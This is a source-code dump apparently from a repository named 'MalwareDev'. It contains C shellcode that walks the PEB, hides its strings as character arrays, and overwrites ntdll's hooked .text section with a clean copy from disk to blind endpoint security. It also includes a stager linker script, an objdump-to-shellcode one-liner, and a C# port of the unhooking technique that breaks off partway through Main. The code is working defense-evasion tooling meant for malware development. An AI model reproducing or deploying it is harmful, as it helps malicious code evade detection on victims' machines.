_GetProcAddress((HMODULE)pKernel32,get_current_proc); 47 | HMODULE(WINAPI * _GetModuleHandleA)(LPCSTR lpModuleName) = (HMODULE(WINAPI*)(LPCSTR)) _GetProcAddress((HMODULE)pKernel32,get_mod_handle); 48 | LPVOID pKernelbase = _LoadLibraryA(kernel_base_dll); 49 | BOOL(WINAPI * _GetModuleInformation)(HANDLE hProcess,HMODULE hModule,LPMODULEINFO lpmodinfo,DWORD cb) = (BOOL(WINAPI*)(HANDLE,HMODULE,LPMODULEINFO,DWORD)) _GetProcAddress((HMODULE)pKernelbase,get_mod_information); 50 | HANDLE(WINAPI * _CreateFileA)(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile) = (HANDLE(WINAPI*)(LPCSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE)) _GetProcAddress((HMODULE)pKernel32,create_file); 51 | HANDLE(WINAPI * _CreateFileMappingA)(HANDLE hFile,LPSECURITY_ATTRIBUTES lpFileMappingAttributes,DWORD flProtect,DWORD dwMaximumSizeHigh,DWORD dwMaximumSizeLow,LPCSTR lpName) = (HANDLE(WINAPI*)(HANDLE,LPSECURITY_ATTRIBUTES,DWORD,DWORD,DWORD,LPCSTR)) _GetProcAddress((HMODULE)pKernel32,create_mapping); 52 | LPVOID(WINAPI * _MapViewOfFile)(HANDLE hFileMappingObject,DWORD dwDesiredAccess,DWORD dwFileOffsetHigh,DWORD dwFileOffsetLow,SIZE_T dwNumberOfBytesToMap) = (LPVOID(WINAPI*)(HANDLE,DWORD,DWORD,DWORD,SIZE_T)) _GetProcAddress((HMODULE)pKernel32,map_view); 53 | BOOL(WINAPI * _VirtualProtect)(LPVOID lpAddress,SIZE_T dwSize,DWORD flNewProtect,PDWORD lpflOldProtect) = (BOOL(WINAPI*)(LPVOID,SIZE_T,DWORD,PDWORD)) _GetProcAddress((HMODULE)pKernel32,virtual_protect); 54 | BOOL(WINAPI* _CloseHandle)(HANDLE hObject) = (BOOL(WINAPI*)(HANDLE)) _GetProcAddress((HMODULE)pKernel32,close_handle); 55 | BOOL(WINAPI* _FreeLibrary)(HMODULE hLibModule) = (BOOL(WINAPI*)(HMODULE)) _GetProcAddress((HMODULE)pKernel32,free_lib); 56 | LPVOID pMsvcrt = _LoadLibraryA(msvcrt_dll); 57 | int(WINAPI * _strcmp)(const char* string1,const char* string2) = (int(WINAPI*)(const char*,const char*)) _GetProcAddress((HMODULE)pMsvcrt,strcmp_str); 58 | void*(WINAPI * _memcpy)(void* dest,const void* src,size_t count) = (void*(WINAPI*)(void*,const void*,size_t)) _GetProcAddress((HMODULE)pMsvcrt,memcpy_str); 59 | int(WINAPI * _printf)(const char* format, ...) = (int(WINAPI*)(const char*,...)) _GetProcAddress((HMODULE)pMsvcrt,printf_str); 60 | if (!_printf) 61 | { 62 | return 17; 63 | } 64 | HANDLE process = _GetCurrentProcess(); 65 | char format1[] = {'o','u','t','p','u','t',':',' ','%','p','\n',0}; 66 | _printf(format1,process); 67 | MODULEINFO mi = {}; 68 | char ntdll_str[] = {'n','t','d','l','l','.','d','l','l',0}; 69 | HMODULE ntdllModule = _GetModuleHandleA(ntdll_str); 70 | _printf(format1,ntdllModule); 71 | char file_str[] = {'c',':','\\','w','i','n','d','o','w','s','\\','s','y','s','t','e','m','3','2','\\','n','t','d','l','l','.','d','l','l',0}; 72 | 73 | _GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); 74 | LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; 75 | _printf(format1,ntdllBase); 76 | HANDLE ntdllFile = _CreateFileA(file_str, 0x80000000, 0x00000001, NULL, 3, 0, NULL); 77 | _printf(format1,ntdllFile); 78 | 79 | HANDLE ntdllMapping = _CreateFileMappingA(ntdllFile, NULL, 0x02 | 0x1000000, 0, 0, NULL); 80 | _printf(format1,ntdllMapping); 81 | LPVOID ntdllMappingAddress = _MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); 82 | _printf(format1,ntdllMappingAddress); 83 | PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; 84 | PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); 85 | char text_str[] = {'.','t','e','x','t',0}; 86 | 87 | for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { 88 | PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); 89 | 90 | if (!_strcmp((char*)hookedSectionHeader->Name, (char*)text_str)) { 91 | _printf(format1,hookedSectionHeader->Name); 92 | DWORD oldProtection = 0; 93 | bool isProtected = _VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); 94 | _memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); 95 | isProtected = _VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); 96 | } 97 | } 98 | 99 | _CloseHandle(process); 100 | _CloseHandle(ntdllFile); 101 | _CloseHandle(ntdllMapping); 102 | _FreeLibrary(ntdllModule); 103 | 104 | return 0; 105 | } -------------------------------------------------------------------------------- /UnhookShellcode/dll-unook.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvaStanAccount/MalwareDev/593a5cd98c43478c51bf52ab569250bcbe35819f/UnhookShellcode/dll-unook.o -------------------------------------------------------------------------------- /UnhookShellcode/linker.ld: -------------------------------------------------------------------------------- 1 | /* Linker script gotten from original project found here https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/*/ 2 | 3 | ENTRY(alignstack) 4 | SECTIONS 5 | { 6 | .text: 7 | { 8 | *(.text.alignstack) 9 | *(.text.stager) 10 | } 11 | } 12 | 13 | -------------------------------------------------------------------------------- /UnhookShellcode/opcodes.sh: -------------------------------------------------------------------------------- 1 | for i in $(objdump -d stager.exe | grep "^ " | cut -f 2); do echo -n "0x"$i","; done > stager.bin 2 | -------------------------------------------------------------------------------- /UnhookShellcode/peb-lookup.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #ifndef __NTDLL_H__ 6 | 7 | #ifndef TO_LOWERCASE 8 | #define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1) 9 | #endif 10 | 11 | // peb-lookup.h was pulled from the ired.team article about this technique located here https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c#walkthrough 12 | 13 | typedef struct _UNICODE_STRING 14 | { 15 | USHORT Length; 16 | USHORT MaximumLength; 17 | PWSTR Buffer; 18 | 19 | } UNICODE_STRING, * PUNICODE_STRING; 20 | 21 | typedef struct _PEB_LDR_DATA 22 | { 23 | ULONG Length; 24 | BOOLEAN Initialized; 25 | HANDLE SsHandle; 26 | LIST_ENTRY InLoadOrderModuleList; 27 | LIST_ENTRY InMemoryOrderModuleList; 28 | LIST_ENTRY InInitializationOrderModuleList; 29 | PVOID EntryInProgress; 30 | 31 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 32 | 33 | //here we don't want to use any functions imported form extenal modules 34 | 35 | typedef struct _LDR_DATA_TABLE_ENTRY { 36 | LIST_ENTRY InLoadOrderModuleList; 37 | LIST_ENTRY InMemoryOrderModuleList; 38 | LIST_ENTRY InInitializationOrderModuleList; 39 | void* BaseAddress; 40 | void* EntryPoint; 41 | ULONG SizeOfImage; 42 | UNICODE_STRING FullDllName; 43 | UNICODE_STRING BaseDllName; 44 | ULONG Flags; 45 | SHORT LoadCount; 46 | SHORT TlsIndex; 47 | HANDLE SectionHandle; 48 | ULONG CheckSum; 49 | ULONG TimeDateStamp; 50 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 51 | 52 | 53 | typedef struct _PEB 54 | { 55 | BOOLEAN InheritedAddressSpace; 56 | BOOLEAN ReadImageFileExecOptions; 57 | BOOLEAN BeingDebugged; 58 | BOOLEAN SpareBool; 59 | HANDLE Mutant; 60 | 61 | PVOID ImageBaseAddress; 62 | PPEB_LDR_DATA Ldr; 63 | 64 | // [...] this is a fragment, more elements follow here 65 | 66 | } PEB, * PPEB; 67 | 68 | #endif //__NTDLL_H__ 69 | 70 | inline LPVOID get_module_by_name(WCHAR* module_name) 71 | { 72 | PPEB peb = NULL; 73 | #if defined(_WIN64) 74 | peb = (PPEB)__readgsqword(0x60); 75 | #else 76 | peb = (PPEB)__readfsdword(0x30); 77 | #endif 78 | PPEB_LDR_DATA ldr = peb->Ldr; 79 | LIST_ENTRY list = ldr->InLoadOrderModuleList; 80 | 81 | PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list)); 82 | PLDR_DATA_TABLE_ENTRY curr_module = Flink; 83 | 84 | while (curr_module != NULL && curr_module->BaseAddress != NULL) { 85 | if (curr_module->BaseDllName.Buffer == NULL) continue; 86 | WCHAR* curr_name = curr_module->BaseDllName.Buffer; 87 | 88 | size_t i = 0; 89 | for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) { 90 | WCHAR c1, c2; 91 | TO_LOWERCASE(c1, module_name[i]); 92 | TO_LOWERCASE(c2, curr_name[i]); 93 | if (c1 != c2) break; 94 | } 95 | if (module_name[i] == 0 && curr_name[i] == 0) { 96 | //found 97 | return curr_module->BaseAddress; 98 | } 99 | // not found, try next: 100 | curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink; 101 | } 102 | return NULL; 103 | } 104 | 105 | inline LPVOID get_func_by_name(LPVOID module, char* func_name) 106 | { 107 | IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module; 108 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 109 | return NULL; 110 | } 111 | IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew); 112 | IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]); 113 | if (exportsDir->VirtualAddress == NULL) { 114 | return NULL; 115 | } 116 | 117 | DWORD expAddr = exportsDir->VirtualAddress; 118 | IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module); 119 | SIZE_T namesCount = exp->NumberOfNames; 120 | 121 | DWORD funcsListRVA = exp->AddressOfFunctions; 122 | DWORD funcNamesListRVA = exp->AddressOfNames; 123 | DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals; 124 | 125 | //go through names: 126 | for (SIZE_T i = 0; i < namesCount; i++) { 127 | DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD)); 128 | WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD)); 129 | DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD)); 130 | 131 | LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module); 132 | size_t k = 0; 133 | for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) { 134 | if (func_name[k] != curr_name[k]) break; 135 | } 136 | if (func_name[k] == 0 && curr_name[k] == 0) { 137 | //found 138 | return (BYTE*)module + (*funcRVA); 139 | } 140 | } 141 | return NULL; 142 | } 143 | -------------------------------------------------------------------------------- /manual-map-csharp.cs: -------------------------------------------------------------------------------- 1 | /* 2 | This is a simple C# port of the code found at 3 | https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++ 4 | */ 5 | using System; 6 | using System.Text; 7 | using System.Diagnostics; 8 | using System.Runtime.InteropServices; 9 | using System.Management; 10 | 11 | namespace DllUnhook 12 | { 13 | class DllUnhook 14 | { 15 | public const short FILE_ATTRIBUTE_NORMAL = 0x80; 16 | public const short INVALID_HANDLE_VALUE = -1; 17 | public const uint GENERIC_READ = 0x80000000; 18 | public const uint GENERIC_WRITE = 0x40000000; 19 | public const uint CREATE_NEW = 1; 20 | public const uint CREATE_ALWAYS = 2; 21 | public const uint OPEN_EXISTING = 3; 22 | public const uint FILE_SHARE_READ = 0x00000001; 23 | 24 | public enum SubSystemType : ushort 25 | { 26 | IMAGE_SUBSYSTEM_UNKNOWN = 0, 27 | IMAGE_SUBSYSTEM_NATIVE = 1, 28 | IMAGE_SUBSYSTEM_WINDOWS_GUI = 2, 29 | IMAGE_SUBSYSTEM_WINDOWS_CUI = 3, 30 | IMAGE_SUBSYSTEM_POSIX_CUI = 7, 31 | IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9, 32 | IMAGE_SUBSYSTEM_EFI_APPLICATION = 10, 33 | IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11, 34 | IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12, 35 | IMAGE_SUBSYSTEM_EFI_ROM = 13, 36 | IMAGE_SUBSYSTEM_XBOX = 14 37 | 38 | } 39 | public enum DllCharacteristicsType : ushort 40 | { 41 | RES_0 = 0x0001, 42 | RES_1 = 0x0002, 43 | RES_2 = 0x0004, 44 | RES_3 = 0x0008, 45 | IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040, 46 | IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080, 47 | IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100, 48 | IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200, 49 | IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400, 50 | IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800, 51 | RES_4 = 0x1000, 52 | IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000, 53 | IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000 54 | } 55 | public enum MagicType : ushort 56 | { 57 | IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b, 58 | IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b 59 | } 60 | [Flags] 61 | public enum FileMapAccess : uint 62 | { 63 | FileMapCopy = 0x0001, 64 | FileMapWrite = 0x0002, 65 | FileMapRead = 0x0004, 66 | FileMapAllAccess = 0x001f, 67 | FileMapExecute = 0x0020, 68 | } 69 | [Flags] 70 | public enum FileMapProtection : uint 71 | { 72 | PageReadonly = 0x02, 73 | PageReadWrite = 0x04, 74 | PageWriteCopy = 0x08, 75 | PageExecuteRead = 0x20, 76 | PageExecuteReadWrite = 0x40, 77 | SectionCommit = 0x8000000, 78 | SectionImage = 0x1000000, 79 | SectionNoCache = 0x10000000, 80 | SectionReserve = 0x4000000, 81 | } 82 | [StructLayout(LayoutKind.Sequential)] 83 | public struct IMAGE_DATA_DIRECTORY 84 | { 85 | public UInt32 VirtualAddress; 86 | public UInt32 Size; 87 | } 88 | [StructLayout(LayoutKind.Explicit)] 89 | public struct IMAGE_OPTIONAL_HEADER64 90 | { 91 | [FieldOffset(0)] 92 | public MagicType Magic; 93 | 94 | [FieldOffset(2)] 95 | public byte MajorLinkerVersion; 96 | 97 | [FieldOffset(3)] 98 | public byte MinorLinkerVersion; 99 | 100 | [FieldOffset(4)] 101 | public uint SizeOfCode; 102 | 103 | [FieldOffset(8)] 104 | public uint SizeOfInitializedData; 105 | 106 | [FieldOffset(12)] 107 | public uint SizeOfUninitializedData; 108 | 109 | [FieldOffset(16)] 110 | public uint AddressOfEntryPoint; 111 | 112 | [FieldOffset(20)] 113 | public uint BaseOfCode; 114 | 115 | [FieldOffset(24)] 116 | public ulong ImageBase; 117 | 118 | [FieldOffset(32)] 119 | public uint SectionAlignment; 120 | 121 | [FieldOffset(36)] 122 | public uint FileAlignment; 123 | 124 | [FieldOffset(40)] 125 | public ushort MajorOperatingSystemVersion; 126 | 127 | [FieldOffset(42)] 128 | public ushort MinorOperatingSystemVersion; 129 | 130 | [FieldOffset(44)] 131 | public ushort MajorImageVersion; 132 | 133 | [FieldOffset(46)] 134 | public ushort MinorImageVersion; 135 | 136 | [FieldOffset(48)] 137 | public ushort MajorSubsystemVersion; 138 | 139 | [FieldOffset(50)] 140 | public ushort MinorSubsystemVersion; 141 | 142 | [FieldOffset(52)] 143 | public uint Win32VersionValue; 144 | 145 | [FieldOffset(56)] 146 | public uint SizeOfImage; 147 | 148 | [FieldOffset(60)] 149 | public uint SizeOfHeaders; 150 | 151 | [FieldOffset(64)] 152 | public uint CheckSum; 153 | 154 | [FieldOffset(68)] 155 | public SubSystemType Subsystem; 156 | 157 | [FieldOffset(70)] 158 | public DllCharacteristicsType DllCharacteristics; 159 | 160 | [FieldOffset(72)] 161 | public ulong SizeOfStackReserve; 162 | 163 | [FieldOffset(80)] 164 | public ulong SizeOfStackCommit; 165 | 166 | [FieldOffset(88)] 167 | public ulong SizeOfHeapReserve; 168 | 169 | [FieldOffset(96)] 170 | public ulong SizeOfHeapCommit; 171 | 172 | [FieldOffset(104)] 173 | public uint LoaderFlags; 174 | 175 | [FieldOffset(108)] 176 | public uint NumberOfRvaAndSizes; 177 | 178 | [FieldOffset(112)] 179 | public IMAGE_DATA_DIRECTORY ExportTable; 180 | 181 | [FieldOffset(120)] 182 | public IMAGE_DATA_DIRECTORY ImportTable; 183 | 184 | [FieldOffset(128)] 185 | public IMAGE_DATA_DIRECTORY ResourceTable; 186 | 187 | [FieldOffset(136)] 188 | public IMAGE_DATA_DIRECTORY ExceptionTable; 189 | 190 | [FieldOffset(144)] 191 | public IMAGE_DATA_DIRECTORY CertificateTable; 192 | 193 | [FieldOffset(152)] 194 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 195 | 196 | [FieldOffset(160)] 197 | public IMAGE_DATA_DIRECTORY Debug; 198 | 199 | [FieldOffset(168)] 200 | public IMAGE_DATA_DIRECTORY Architecture; 201 | 202 | [FieldOffset(176)] 203 | public IMAGE_DATA_DIRECTORY GlobalPtr; 204 | 205 | [FieldOffset(184)] 206 | public IMAGE_DATA_DIRECTORY TLSTable; 207 | 208 | [FieldOffset(192)] 209 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 210 | 211 | [FieldOffset(200)] 212 | public IMAGE_DATA_DIRECTORY BoundImport; 213 | 214 | [FieldOffset(208)] 215 | public IMAGE_DATA_DIRECTORY IAT; 216 | 217 | [FieldOffset(216)] 218 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 219 | 220 | [FieldOffset(224)] 221 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 222 | 223 | [FieldOffset(232)] 224 | public IMAGE_DATA_DIRECTORY Reserved; 225 | } 226 | [StructLayout(LayoutKind.Explicit, Size = 20)] 227 | public struct IMAGE_FILE_HEADER { 228 | [FieldOffset(0)] 229 | public UInt16 Machine; 230 | [FieldOffset(2)] 231 | public UInt16 NumberOfSections; 232 | [FieldOffset(4)] 233 | public UInt32 TimeDateStamp; 234 | [FieldOffset(8)] 235 | public UInt32 PointerToSymbolTable; 236 | [FieldOffset(12)] 237 | public UInt32 NumberOfSymbols; 238 | [FieldOffset(16)] 239 | public UInt16 SizeOfOptionalHeader; 240 | [FieldOffset(18)] 241 | public UInt16 Characteristics; 242 | } 243 | [StructLayout(LayoutKind.Sequential)] 244 | public struct IMAGE_DOS_HEADER 245 | { 246 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] 247 | public char[] e_magic; // Magic number 248 | public UInt16 e_cblp; // Bytes on last page of file 249 | public UInt16 e_cp; // Pages in file 250 | public UInt16 e_crlc; // Relocations 251 | public UInt16 e_cparhdr; // Size of header in paragraphs 252 | public UInt16 e_minalloc; // Minimum extra paragraphs needed 253 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed 254 | public UInt16 e_ss; // Initial (relative) SS value 255 | public UInt16 e_sp; // Initial SP value 256 | public UInt16 e_csum; // Checksum 257 | public UInt16 e_ip; // Initial IP value 258 | public UInt16 e_cs; // Initial (relative) CS value 259 | public UInt16 e_lfarlc; // File address of relocation table 260 | public UInt16 e_ovno; // Overlay number 261 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] 262 | public UInt16[] e_res1; // Reserved words 263 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo) 264 | public UInt16 e_oeminfo; // OEM information; e_oemid specific 265 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] 266 | public UInt16[] e_res2; // Reserved words 267 | public Int32 e_lfanew; // File address of new exe header 268 | 269 | private string _e_magic 270 | { 271 | get { return new string(e_magic); } 272 | } 273 | 274 | public bool isValid 275 | { 276 | get { return _e_magic == "MZ"; } 277 | } 278 | } 279 | [StructLayout(LayoutKind.Explicit)] 280 | public struct IMAGE_NT_HEADERS64 281 | { 282 | [FieldOffset(0)] 283 | public int Signature; 284 | 285 | [FieldOffset(4)] 286 | public IMAGE_FILE_HEADER FileHeader; 287 | 288 | [FieldOffset(24)] 289 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader; 290 | } 291 | [StructLayout(LayoutKind.Sequential)] 292 | public struct MODULEINFO 293 | { 294 | public IntPtr lpBaseOfDll; 295 | public uint SizeOfImage; 296 | public IntPtr EntryPoint; 297 | } 298 | [StructLayout(LayoutKind.Explicit)] 299 | public struct IMAGE_SECTION_HEADER 300 | { 301 | [FieldOffset(0)] 302 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] 303 | public char[] Name; 304 | 305 | [FieldOffset(8)] 306 | public UInt32 VirtualSize; 307 | 308 | [FieldOffset(12)] 309 | public UInt32 VirtualAddress; 310 | 311 | [FieldOffset(16)] 312 | public UInt32 SizeOfRawData; 313 | 314 | [FieldOffset(20)] 315 | public UInt32 PointerToRawData; 316 | 317 | [FieldOffset(24)] 318 | public UInt32 PointerToRelocations; 319 | 320 | [FieldOffset(28)] 321 | public UInt32 PointerToLinenumbers; 322 | 323 | [FieldOffset(32)] 324 | public UInt16 NumberOfRelocations; 325 | 326 | [FieldOffset(34)] 327 | public UInt16 NumberOfLinenumbers; 328 | 329 | [FieldOffset(36)] 330 | public DataSectionFlags Characteristics; 331 | 332 | public string Section 333 | { 334 | get { return new string(Name); } 335 | } 336 | } 337 | [Flags] 338 | public enum DataSectionFlags : uint 339 | { 340 | /// 341 | /// Reserved for future use. 342 | /// 343 | TypeReg = 0x00000000, 344 | /// 345 | /// Reserved for future use. 346 | /// 347 | TypeDsect = 0x00000001, 348 | /// 349 | /// Reserved for future use. 350 | /// 351 | TypeNoLoad = 0x00000002, 352 | /// 353 | /// Reserved for future use. 354 | /// 355 | TypeGroup = 0x00000004, 356 | /// 357 | /// The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files. 358 | /// 359 | TypeNoPadded = 0x00000008, 360 | /// 361 | /// Reserved for future use. 362 | /// 363 | TypeCopy = 0x00000010, 364 | /// 365 | /// The section contains executable code. 366 | /// 367 | ContentCode = 0x00000020, 368 | /// 369 | /// The section contains initialized data. 370 | /// 371 | ContentInitializedData = 0x00000040, 372 | /// 373 | /// The section contains uninitialized data. 374 | /// 375 | ContentUninitializedData = 0x00000080, 376 | /// 377 | /// Reserved for future use. 378 | /// 379 | LinkOther = 0x00000100, 380 | /// 381 | /// The section contains comments or other information. The .drectve section has this type. This is valid for object files only. 382 | /// 383 | LinkInfo = 0x00000200, 384 | /// 385 | /// Reserved for future use. 386 | /// 387 | TypeOver = 0x00000400, 388 | /// 389 | /// The section will not become part of the image. This is valid only for object files. 390 | /// 391 | LinkRemove = 0x00000800, 392 | /// 393 | /// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object Only). This is valid only for object files. 394 | /// 395 | LinkComDat = 0x00001000, 396 | /// 397 | /// Reset speculative exceptions handling bits in the TLB entries for this section. 398 | /// 399 | NoDeferSpecExceptions = 0x00004000, 400 | /// 401 | /// The section contains data referenced through the global pointer (GP). 402 | /// 403 | RelativeGP = 0x00008000, 404 | /// 405 | /// Reserved for future use. 406 | /// 407 | MemPurgeable = 0x00020000, 408 | /// 409 | /// Reserved for future use. 410 | /// 411 | Memory16Bit = 0x00020000, 412 | /// 413 | /// Reserved for future use. 414 | /// 415 | MemoryLocked = 0x00040000, 416 | /// 417 | /// Reserved for future use. 418 | /// 419 | MemoryPreload = 0x00080000, 420 | /// 421 | /// Align data on a 1-byte boundary. Valid only for object files. 422 | /// 423 | Align1Bytes = 0x00100000, 424 | /// 425 | /// Align data on a 2-byte boundary. Valid only for object files. 426 | /// 427 | Align2Bytes = 0x00200000, 428 | /// 429 | /// Align data on a 4-byte boundary. Valid only for object files. 430 | /// 431 | Align4Bytes = 0x00300000, 432 | /// 433 | /// Align data on an 8-byte boundary. Valid only for object files. 434 | /// 435 | Align8Bytes = 0x00400000, 436 | /// 437 | /// Align data on a 16-byte boundary. Valid only for object files. 438 | /// 439 | Align16Bytes = 0x00500000, 440 | /// 441 | /// Align data on a 32-byte boundary. Valid only for object files. 442 | /// 443 | Align32Bytes = 0x00600000, 444 | /// 445 | /// Align data on a 64-byte boundary. Valid only for object files. 446 | /// 447 | Align64Bytes = 0x00700000, 448 | /// 449 | /// Align data on a 128-byte boundary. Valid only for object files. 450 | /// 451 | Align128Bytes = 0x00800000, 452 | /// 453 | /// Align data on a 256-byte boundary. Valid only for object files. 454 | /// 455 | Align256Bytes = 0x00900000, 456 | /// 457 | /// Align data on a 512-byte boundary. Valid only for object files. 458 | /// 459 | Align512Bytes = 0x00A00000, 460 | /// 461 | /// Align data on a 1024-byte boundary. Valid only for object files. 462 | /// 463 | Align1024Bytes = 0x00B00000, 464 | /// 465 | /// Align data on a 2048-byte boundary. Valid only for object files. 466 | /// 467 | Align2048Bytes = 0x00C00000, 468 | /// 469 | /// Align data on a 4096-byte boundary. Valid only for object files. 470 | /// 471 | Align4096Bytes = 0x00D00000, 472 | /// 473 | /// Align data on an 8192-byte boundary. Valid only for object files. 474 | /// 475 | Align8192Bytes = 0x00E00000, 476 | /// 477 | /// The section contains extended relocations. 478 | /// 479 | LinkExtendedRelocationOverflow = 0x01000000, 480 | /// 481 | /// The section can be discarded as needed. 482 | /// 483 | MemoryDiscardable = 0x02000000, 484 | /// 485 | /// The section cannot be cached. 486 | /// 487 | MemoryNotCached = 0x04000000, 488 | /// 489 | /// The section is not pageable. 490 | /// 491 | MemoryNotPaged = 0x08000000, 492 | /// 493 | /// The section can be shared in memory. 494 | /// 495 | MemoryShared = 0x10000000, 496 | /// 497 | /// The section can be executed as code. 498 | /// 499 | MemoryExecute = 0x20000000, 500 | /// 501 | /// The section can be read. 502 | /// 503 | MemoryRead = 0x40000000, 504 | /// 505 | /// The section can be written to. 506 | /// 507 | MemoryWrite = 0x80000000 508 | } 509 | 510 | [DllImport("psapi.dll", SetLastError=true)] 511 | static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MODULEINFO lpmodinfo, uint cb); 512 | [DllImport("kernel32.dll", SetLastError=true)] 513 | static extern IntPtr CreateFileA(string lpFileName, uint dwDesiredAccess,uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition,uint dwFlagsAndAttributes, IntPtr hTemplateFile); 514 | [DllImport("kernel32.dll")] 515 | static extern IntPtr GetCurrentProcess(); 516 | [DllImport("kernel32.dll", CharSet=CharSet.Auto)] 517 | public static extern IntPtr GetModuleHandle(string lpModuleName); 518 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] 519 | public static extern IntPtr CreateFileMapping(IntPtr hFile,IntPtr lpFileMappingAttributes,FileMapProtection flProtect,uint dwMaximumSizeHigh,uint dwMaximumSizeLow,[MarshalAs(UnmanagedType.LPStr)] string lpName); 520 | [DllImport("kernel32.dll")] 521 | static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject,FileMapAccess dwDesiredAccess,UInt32 dwFileOffsetHigh,UInt32 dwFileOffsetLow,IntPtr dwNumberOfBytesToMap); 522 | [DllImport("kernel32.dll")] 523 | static extern int VirtualProtect(IntPtr lpAddress, UInt32 dwSize, uint flNewProtect, out uint lpflOldProtect); 524 | [DllImport("msvcrt.dll", EntryPoint = "memcpy", CallingConvention = CallingConvention.Cdecl, SetLastError = false)] 525 | public static extern IntPtr memcpy(IntPtr dest, IntPtr src, UInt32 count); 526 | [DllImport("kernel32.dll", SetLastError=true)] 527 | static extern bool CloseHandle(IntPtr hObject); 528 | [DllImport("kernel32.dll", SetLastError=true)] 529 | [return: MarshalAs(UnmanagedType.Bool)] 530 | static extern bool FreeLibrary(IntPtr hModule); 531 | 532 | static void Main() 533 | { 534 | IntPtr curProc = GetCurrentProcess(); 535 | MODULEINFO modInfo; 536 | IntPtr handle = GetModuleHandle("ntdll.dll"); 537 | GetModuleInformation(curProc,handle,out modInfo,0x18); 538 | IntPtr dllBase = modInfo.lpBaseOfDll; 539 | string fileName = "C:\\Windows\\System32\\ntdll.dll"; 540 | 